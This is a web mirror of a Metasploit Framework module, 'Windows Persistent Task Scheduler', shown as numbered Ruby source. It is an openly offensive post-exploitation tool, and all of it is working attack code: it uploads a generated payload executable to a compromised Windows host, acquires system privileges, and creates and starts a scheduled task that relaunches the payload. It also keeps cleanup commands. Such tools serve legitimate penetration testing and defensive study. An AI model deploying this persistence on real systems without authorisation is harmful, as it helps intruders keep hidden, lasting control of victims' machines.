Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/persistence/task_scheduler.rb
25357 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Msf::Post::File
10
include Msf::Exploit::EXE
11
include Msf::Exploit::Local::Persistence
12
prepend Msf::Exploit::Remote::AutoCheck
13
include Msf::Post::Windows::TaskScheduler
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Windows Persistent Task Scheduler',
20
'Description' => %q{
21
This module establishes persistence by creating a scheduled task to run a payload.
22
},
23
'License' => MSF_LICENSE,
24
'Author' => [ 'h00die' ],
25
'Platform' => [ 'win' ],
26
'Privileged' => true,
27
'SessionTypes' => [ 'meterpreter', 'shell' ],
28
'Targets' => [
29
[ 'Automatic', {} ]
30
],
31
'DefaultTarget' => 0,
32
'References' => [
33
['ATT&CK', Mitre::Attack::Technique::T1053_005_SCHEDULED_TASK],
34
['URL', 'https://learn.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page']
35
],
36
'DisclosureDate' => '1998-05-15', # windows 98 release date which included "modern" task scheduler
37
'Notes' => {
38
'Stability' => [CRASH_SAFE],
39
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
40
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
41
}
42
)
43
)
44
45
register_options(
46
[
47
OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
48
OptString.new('TASK_NAME', [false, 'The name of task. Random string as default.' ]),
49
]
50
)
51
52
# not needed since this is not remote
53
deregister_options(
54
'ScheduleRemoteSystem',
55
'ScheduleUsername',
56
'SchedulePassword',
57
'ScheduleObfuscationTechnique' # prefer NONE so we can start our service
58
)
59
end
60
61
def writable_dir
62
d = super
63
return session.sys.config.getenv(d) if d.start_with?('%')
64
65
d
66
end
67
68
def check
69
print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%') # check the original value
70
return CheckCode::Safe("#{writable_dir} doesn't exist") unless exists?(writable_dir)
71
72
begin
73
get_system_privs
74
rescue StandardError
75
return CheckCode::Safe('You need higher privileges to create scheduled tasks ')
76
end
77
78
CheckCode::Appears('Likely exploitable')
79
end
80
81
def upload_payload(dest_pathname)
82
payload_exe = generate_payload_exe
83
fail_with(Failure::UnexpectedReply, "Error writing payload to: #{dest_pathname}") unless write_file(dest_pathname, payload_exe)
84
vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{dest_pathname}")
85
end
86
87
def install_persistence
88
payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
89
temp_path = writable_dir
90
payload_pathname = temp_path + '\\' + payload_name + '.exe'
91
upload_payload(payload_pathname)
92
93
task_name = datastore['TASK_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
94
vprint_status("Creating task: #{task_name}")
95
begin
96
task_create(task_name, payload_pathname, { obfuscation: 'NONE' })
97
rescue TaskSchedulerObfuscationError => e
98
print_warning(e.message)
99
print_good('Task created without obfuscation')
100
rescue TaskSchedulerError => e
101
fail_with(Failure::UnexpectedReply, "Task creation error: #{e}")
102
end
103
104
vprint_status("Starting task: #{task_name}")
105
task_start(task_name)
106
schtasks_cmd = ['/delete', '/tn', task_name, '/f'] # taken from task_delete in task_scheduler.rb
107
@clean_up_rc << "execute -f cmd.exe -a \"/c #{get_schtasks_cmd_string(schtasks_cmd)}\"\n"
108
@clean_up_rc << "rm #{payload_pathname.gsub('\\', '/')}\n"
109
end
110
end
111
112